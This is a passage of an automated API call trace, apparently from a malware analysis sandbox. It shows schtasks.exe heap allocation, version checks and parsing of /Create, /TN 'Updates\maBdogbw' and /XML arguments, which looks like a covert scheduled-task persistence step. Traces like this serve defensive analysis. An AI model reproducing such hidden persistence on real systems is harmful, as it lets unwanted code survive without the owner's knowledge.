(_Func=0x1010ff3) returned 0x1010ff3 [0292.009] _onexit (_Func=0x1011002) returned 0x1011002 [0292.010] _onexit (_Func=0x101101e) returned 0x101101e [0292.010] _onexit (_Func=0x101103a) returned 0x101103a [0292.010] _onexit (_Func=0x1011056) returned 0x1011056 [0292.010] _onexit (_Func=0x1011072) returned 0x1011072 [0292.010] _onexit (_Func=0x101108e) returned 0x101108e [0292.010] _onexit (_Func=0x10110aa) returned 0x10110aa [0292.010] _onexit (_Func=0x10110c6) returned 0x10110c6 [0292.010] _onexit (_Func=0x10110e2) returned 0x10110e2 [0292.011] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0292.011] WinSqmIsOptedIn () returned 0x0 [0292.011] GetProcessHeap () returned 0x220000 [0292.011] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x22f598 [0292.011] SetLastError (dwErrCode=0x0) [0292.011] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0292.011] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0292.011] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0292.012] VerifyVersionInfoW (in: lpVersionInformation=0x20f808, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x20f808) returned 1 [0292.012] GetProcessHeap () returned 0x220000 [0292.012] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x235198 [0292.012] lstrlenW (lpString="") returned 0 [0292.012] GetProcessHeap () returned 0x220000 [0292.012] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x2) returned 0x235580 [0292.012] GetProcessHeap () returned 0x220000 [0292.012] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235590 [0292.012] GetProcessHeap () returned 0x220000 [0292.012] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x2351b0 [0292.012] GetProcessHeap () returned 0x220000 [0292.012] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x2355b0 [0292.012] GetProcessHeap () returned 0x220000 [0292.012] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x2355d0 [0292.012] GetProcessHeap () returned 0x220000 [0292.012] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x2355f0 [0292.012] GetProcessHeap () returned 0x220000 [0292.012] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235610 [0292.012] GetProcessHeap () returned 0x220000 [0292.012] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x2351c8 [0292.013] GetProcessHeap () returned 0x220000 [0292.013] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235630 [0292.013] GetProcessHeap () returned 0x220000 [0292.013] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235650 [0292.013] GetProcessHeap () returned 0x220000 [0292.013] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235670 [0292.013] GetProcessHeap () returned 0x220000 [0292.013] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235690 [0292.013] GetProcessHeap () returned 0x220000 [0292.013] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x2351e0 [0292.013] GetProcessHeap () returned 0x220000 [0292.013] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x2356b0 [0292.013] GetProcessHeap () returned 0x220000 [0292.013] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x2356d0 [0292.013] GetProcessHeap () returned 0x220000 [0292.013] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235708 [0292.013] GetProcessHeap () returned 0x220000 [0292.013] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235728 [0292.013] SetThreadUILanguage (LangId=0x0) returned 0x409 [0292.014] SetLastError (dwErrCode=0x0) [0292.014] GetProcessHeap () returned 0x220000 [0292.014] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235748 [0292.014] GetProcessHeap () returned 0x220000 [0292.014] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235768 [0292.014] GetProcessHeap () returned 0x220000 [0292.014] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235788 [0292.014] GetProcessHeap () returned 0x220000 [0292.014] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x2357a8 [0292.014] GetProcessHeap () returned 0x220000 [0292.014] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x2357c8 [0292.014] GetProcessHeap () returned 0x220000 [0292.014] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x2351f8 [0292.014] _memicmp (_Buf1=0x2351f8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.014] GetProcessHeap () returned 0x220000 [0292.014] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x208) returned 0x236070 [0292.014] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x236070, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0292.014] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x73e30000 [0292.016] GetProcAddress (hModule=0x73e30000, lpProcName="GetFileVersionInfoSizeW") returned 0x73e319d9 [0292.016] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0292.017] GetProcessHeap () returned 0x220000 [0292.017] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x74e) returned 0x236280 [0292.017] GetProcAddress (hModule=0x73e30000, lpProcName="GetFileVersionInfoW") returned 0x73e319f4 [0292.017] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x236280 | out: lpData=0x236280) returned 1 [0292.017] GetProcAddress (hModule=0x73e30000, lpProcName="VerQueryValueW") returned 0x73e31b51 [0292.017] VerQueryValueW (in: pBlock=0x236280, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x20f910, puLen=0x20f914 | out: lplpBuffer=0x20f910*=0x23661c, puLen=0x20f914) returned 1 [0292.021] _memicmp (_Buf1=0x2351f8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.021] _vsnwprintf (in: _Buffer=0x236070, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x20f8f8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0292.021] VerQueryValueW (in: pBlock=0x236280, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x20f920, puLen=0x20f91c | out: lplpBuffer=0x20f920*=0x236448, puLen=0x20f91c) returned 1 [0292.021] lstrlenW (lpString="schtasks.exe") returned 12 [0292.021] lstrlenW (lpString="schtasks.exe") returned 12 [0292.021] lstrlenW (lpString=".EXE") returned 4 [0292.021] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0292.022] lstrlenW (lpString="schtasks.exe") returned 12 [0292.022] lstrlenW (lpString=".EXE") returned 4 [0292.022] _memicmp (_Buf1=0x2351f8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.022] lstrlenW (lpString="schtasks") returned 8 [0292.022] GetProcessHeap () returned 0x220000 [0292.022] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235808 [0292.022] GetProcessHeap () returned 0x220000 [0292.022] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235828 [0292.022] GetProcessHeap () returned 0x220000 [0292.022] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235848 [0292.022] GetProcessHeap () returned 0x220000 [0292.022] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235868 [0292.022] GetProcessHeap () returned 0x220000 [0292.022] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x235258 [0292.022] _memicmp (_Buf1=0x235258, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.022] GetProcessHeap () returned 0x220000 [0292.022] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xa0) returned 0x236c60 [0292.022] GetProcessHeap () returned 0x220000 [0292.022] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235888 [0292.022] GetProcessHeap () returned 0x220000 [0292.022] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x2358a8 [0292.022] GetProcessHeap () returned 0x220000 [0292.022] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x2358c8 [0292.022] GetProcessHeap () returned 0x220000 [0292.022] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x235270 [0292.022] _memicmp (_Buf1=0x235270, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.023] GetProcessHeap () returned 0x220000 [0292.023] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x200) returned 0x236d08 [0292.023] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x236d08, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0292.023] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0292.023] GetProcessHeap () returned 0x220000 [0292.023] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x30) returned 0x236f10 [0292.023] _vsnwprintf (in: _Buffer=0x236c60, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x20f8fc | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0292.023] GetProcessHeap () returned 0x220000 [0292.023] GetProcessHeap () returned 0x220000 [0292.023] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x236280) returned 1 [0292.023] GetProcessHeap () returned 0x220000 [0292.023] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x236280) returned 0x74e [0292.023] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x236280 | out: hHeap=0x220000) returned 1 [0292.023] SetLastError (dwErrCode=0x0) [0292.023] GetThreadLocale () returned 0x409 [0292.023] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.023] lstrlenW (lpString="?") returned 1 [0292.023] GetThreadLocale () returned 0x409 [0292.023] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.023] lstrlenW (lpString="create") returned 6 [0292.023] GetThreadLocale () returned 0x409 [0292.023] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.024] lstrlenW (lpString="delete") returned 6 [0292.024] GetThreadLocale () returned 0x409 [0292.024] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.024] lstrlenW (lpString="query") returned 5 [0292.024] GetThreadLocale () returned 0x409 [0292.024] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.024] lstrlenW (lpString="change") returned 6 [0292.024] GetThreadLocale () returned 0x409 [0292.024] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.024] lstrlenW (lpString="run") returned 3 [0292.024] GetThreadLocale () returned 0x409 [0292.024] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.024] lstrlenW (lpString="end") returned 3 [0292.024] GetThreadLocale () returned 0x409 [0292.024] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.024] lstrlenW (lpString="showsid") returned 7 [0292.024] GetThreadLocale () returned 0x409 [0292.024] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.024] SetLastError (dwErrCode=0x0) [0292.024] SetLastError (dwErrCode=0x0) [0292.024] lstrlenW (lpString="/Create") returned 7 [0292.024] lstrlenW (lpString="-/") returned 2 [0292.024] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0292.024] lstrlenW (lpString="?") returned 1 [0292.024] lstrlenW (lpString="?") returned 1 [0292.024] GetProcessHeap () returned 0x220000 [0292.024] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x235288 [0292.024] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.024] GetProcessHeap () returned 0x220000 [0292.024] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xa) returned 0x2352a0 [0292.024] lstrlenW (lpString="Create") returned 6 [0292.025] GetProcessHeap () returned 0x220000 [0292.025] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x2352b8 [0292.025] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.025] GetProcessHeap () returned 0x220000 [0292.025] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x2358e8 [0292.025] _vsnwprintf (in: _Buffer=0x2352a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|?|") returned 3 [0292.025] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x9, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|Create|") returned 8 [0292.025] lstrlenW (lpString="|?|") returned 3 [0292.025] lstrlenW (lpString="|Create|") returned 8 [0292.025] SetLastError (dwErrCode=0x490) [0292.025] lstrlenW (lpString="create") returned 6 [0292.025] lstrlenW (lpString="create") returned 6 [0292.025] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.025] GetProcessHeap () returned 0x220000 [0292.025] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2352a0) returned 1 [0292.025] GetProcessHeap () returned 0x220000 [0292.025] RtlReAllocateHeap (Heap=0x220000, Flags=0xc, Ptr=0x2352a0, Size=0x14) returned 0x235908 [0292.025] lstrlenW (lpString="Create") returned 6 [0292.025] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.025] _vsnwprintf (in: _Buffer=0x235908, _BufferCount=0x9, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|create|") returned 8 [0292.025] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x9, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|Create|") returned 8 [0292.025] lstrlenW (lpString="|create|") returned 8 [0292.025] lstrlenW (lpString="|Create|") returned 8 [0292.025] StrStrIW (lpFirst="|create|", lpSrch="|Create|") returned="|create|" [0292.025] SetLastError (dwErrCode=0x0) [0292.025] SetLastError (dwErrCode=0x0) [0292.025] SetLastError (dwErrCode=0x0) [0292.025] lstrlenW (lpString="/TN") returned 3 [0292.025] lstrlenW (lpString="-/") returned 2 [0292.025] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0292.026] lstrlenW (lpString="?") returned 1 [0292.026] lstrlenW (lpString="?") returned 1 [0292.026] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.026] lstrlenW (lpString="TN") returned 2 [0292.026] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.026] _vsnwprintf (in: _Buffer=0x235908, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|?|") returned 3 [0292.026] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|TN|") returned 4 [0292.026] lstrlenW (lpString="|?|") returned 3 [0292.026] lstrlenW (lpString="|TN|") returned 4 [0292.026] SetLastError (dwErrCode=0x490) [0292.026] lstrlenW (lpString="create") returned 6 [0292.026] lstrlenW (lpString="create") returned 6 [0292.026] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.026] lstrlenW (lpString="TN") returned 2 [0292.026] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.026] _vsnwprintf (in: _Buffer=0x235908, _BufferCount=0x9, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|create|") returned 8 [0292.026] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|TN|") returned 4 [0292.026] lstrlenW (lpString="|create|") returned 8 [0292.026] lstrlenW (lpString="|TN|") returned 4 [0292.026] StrStrIW (lpFirst="|create|", lpSrch="|TN|") returned 0x0 [0292.026] SetLastError (dwErrCode=0x490) [0292.026] lstrlenW (lpString="delete") returned 6 [0292.026] lstrlenW (lpString="delete") returned 6 [0292.026] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.026] lstrlenW (lpString="TN") returned 2 [0292.026] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.026] _vsnwprintf (in: _Buffer=0x235908, _BufferCount=0x9, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|delete|") returned 8 [0292.027] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|TN|") returned 4 [0292.027] lstrlenW (lpString="|delete|") returned 8 [0292.027] lstrlenW (lpString="|TN|") returned 4 [0292.027] StrStrIW (lpFirst="|delete|", lpSrch="|TN|") returned 0x0 [0292.027] SetLastError (dwErrCode=0x490) [0292.027] lstrlenW (lpString="query") returned 5 [0292.027] lstrlenW (lpString="query") returned 5 [0292.027] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.027] lstrlenW (lpString="TN") returned 2 [0292.027] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.027] _vsnwprintf (in: _Buffer=0x235908, _BufferCount=0x8, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|query|") returned 7 [0292.027] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|TN|") returned 4 [0292.027] lstrlenW (lpString="|query|") returned 7 [0292.027] lstrlenW (lpString="|TN|") returned 4 [0292.027] StrStrIW (lpFirst="|query|", lpSrch="|TN|") returned 0x0 [0292.027] SetLastError (dwErrCode=0x490) [0292.027] lstrlenW (lpString="change") returned 6 [0292.027] lstrlenW (lpString="change") returned 6 [0292.027] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.027] lstrlenW (lpString="TN") returned 2 [0292.027] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.027] _vsnwprintf (in: _Buffer=0x235908, _BufferCount=0x9, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|change|") returned 8 [0292.027] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|TN|") returned 4 [0292.027] lstrlenW (lpString="|change|") returned 8 [0292.027] lstrlenW (lpString="|TN|") returned 4 [0292.027] StrStrIW (lpFirst="|change|", lpSrch="|TN|") returned 0x0 [0292.027] SetLastError (dwErrCode=0x490) [0292.027] lstrlenW (lpString="run") returned 3 [0292.027] lstrlenW (lpString="run") returned 3 [0292.027] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.028] lstrlenW (lpString="TN") returned 2 [0292.028] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.028] _vsnwprintf (in: _Buffer=0x235908, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|run|") returned 5 [0292.028] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|TN|") returned 4 [0292.028] lstrlenW (lpString="|run|") returned 5 [0292.028] lstrlenW (lpString="|TN|") returned 4 [0292.028] StrStrIW (lpFirst="|run|", lpSrch="|TN|") returned 0x0 [0292.028] SetLastError (dwErrCode=0x490) [0292.028] lstrlenW (lpString="end") returned 3 [0292.028] lstrlenW (lpString="end") returned 3 [0292.028] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.028] lstrlenW (lpString="TN") returned 2 [0292.028] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.028] _vsnwprintf (in: _Buffer=0x235908, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|end|") returned 5 [0292.028] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|TN|") returned 4 [0292.028] lstrlenW (lpString="|end|") returned 5 [0292.028] lstrlenW (lpString="|TN|") returned 4 [0292.028] StrStrIW (lpFirst="|end|", lpSrch="|TN|") returned 0x0 [0292.028] SetLastError (dwErrCode=0x490) [0292.028] lstrlenW (lpString="showsid") returned 7 [0292.028] lstrlenW (lpString="showsid") returned 7 [0292.028] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.028] GetProcessHeap () returned 0x220000 [0292.028] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235908) returned 1 [0292.028] GetProcessHeap () returned 0x220000 [0292.028] RtlReAllocateHeap (Heap=0x220000, Flags=0xc, Ptr=0x235908, Size=0x16) returned 0x235928 [0292.028] lstrlenW (lpString="TN") returned 2 [0292.028] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.028] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0xa, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|showsid|") returned 9 [0292.029] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|TN|") returned 4 [0292.029] lstrlenW (lpString="|showsid|") returned 9 [0292.029] lstrlenW (lpString="|TN|") returned 4 [0292.029] StrStrIW (lpFirst="|showsid|", lpSrch="|TN|") returned 0x0 [0292.029] SetLastError (dwErrCode=0x490) [0292.029] SetLastError (dwErrCode=0x490) [0292.029] SetLastError (dwErrCode=0x0) [0292.029] lstrlenW (lpString="/TN") returned 3 [0292.029] StrChrIW (lpStart="/TN", wMatch=0x3a) returned 0x0 [0292.029] SetLastError (dwErrCode=0x490) [0292.029] SetLastError (dwErrCode=0x0) [0292.029] lstrlenW (lpString="/TN") returned 3 [0292.029] GetProcessHeap () returned 0x220000 [0292.029] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x236f48 [0292.029] GetProcessHeap () returned 0x220000 [0292.029] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235908 [0292.029] SetLastError (dwErrCode=0x0) [0292.029] SetLastError (dwErrCode=0x0) [0292.029] lstrlenW (lpString="Updates\\maBdogbw") returned 16 [0292.029] lstrlenW (lpString="-/") returned 2 [0292.029] StrChrIW (lpStart="-/", wMatch=0x55) returned 0x0 [0292.029] SetLastError (dwErrCode=0x490) [0292.029] SetLastError (dwErrCode=0x490) [0292.029] SetLastError (dwErrCode=0x0) [0292.029] lstrlenW (lpString="Updates\\maBdogbw") returned 16 [0292.029] StrChrIW (lpStart="Updates\\maBdogbw", wMatch=0x3a) returned 0x0 [0292.029] SetLastError (dwErrCode=0x490) [0292.029] SetLastError (dwErrCode=0x0) [0292.030] lstrlenW (lpString="Updates\\maBdogbw") returned 16 [0292.030] GetProcessHeap () returned 0x220000 [0292.030] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x22) returned 0x236f58 [0292.030] GetProcessHeap () returned 0x220000 [0292.030] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235948 [0292.030] SetLastError (dwErrCode=0x0) [0292.030] SetLastError (dwErrCode=0x0) [0292.030] lstrlenW (lpString="/XML") returned 4 [0292.030] lstrlenW (lpString="-/") returned 2 [0292.030] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0292.030] lstrlenW (lpString="?") returned 1 [0292.030] lstrlenW (lpString="?") returned 1 [0292.030] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.030] lstrlenW (lpString="XML") returned 3 [0292.030] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.030] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|?|") returned 3 [0292.030] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|XML|") returned 5 [0292.030] lstrlenW (lpString="|?|") returned 3 [0292.030] lstrlenW (lpString="|XML|") returned 5 [0292.030] SetLastError (dwErrCode=0x490) [0292.030] lstrlenW (lpString="create") returned 6 [0292.030] lstrlenW (lpString="create") returned 6 [0292.030] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.030] lstrlenW (lpString="XML") returned 3 [0292.030] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.031] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x9, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|create|") returned 8 [0292.031] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|XML|") returned 5 [0292.031] lstrlenW (lpString="|create|") returned 8 [0292.031] lstrlenW (lpString="|XML|") returned 5 [0292.031] StrStrIW (lpFirst="|create|", lpSrch="|XML|") returned 0x0 [0292.031] SetLastError (dwErrCode=0x490) [0292.031] lstrlenW (lpString="delete") returned 6 [0292.031] lstrlenW (lpString="delete") returned 6 [0292.031] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.031] lstrlenW (lpString="XML") returned 3 [0292.031] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.031] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x9, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|delete|") returned 8 [0292.031] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|XML|") returned 5 [0292.031] lstrlenW (lpString="|delete|") returned 8 [0292.031] lstrlenW (lpString="|XML|") returned 5 [0292.031] StrStrIW (lpFirst="|delete|", lpSrch="|XML|") returned 0x0 [0292.031] SetLastError (dwErrCode=0x490) [0292.031] lstrlenW (lpString="query") returned 5 [0292.031] lstrlenW (lpString="query") returned 5 [0292.031] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.031] lstrlenW (lpString="XML") returned 3 [0292.031] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.031] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x8, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|query|") returned 7 [0292.032] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|XML|") returned 5 [0292.032] lstrlenW (lpString="|query|") returned 7 [0292.032] lstrlenW (lpString="|XML|") returned 5 [0292.032] StrStrIW (lpFirst="|query|", lpSrch="|XML|") returned 0x0 [0292.032] SetLastError (dwErrCode=0x490) [0292.032] lstrlenW (lpString="change") returned 6 [0292.032] lstrlenW (lpString="change") returned 6 [0292.032] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.032] lstrlenW (lpString="XML") returned 3 [0292.032] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.032] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x9, 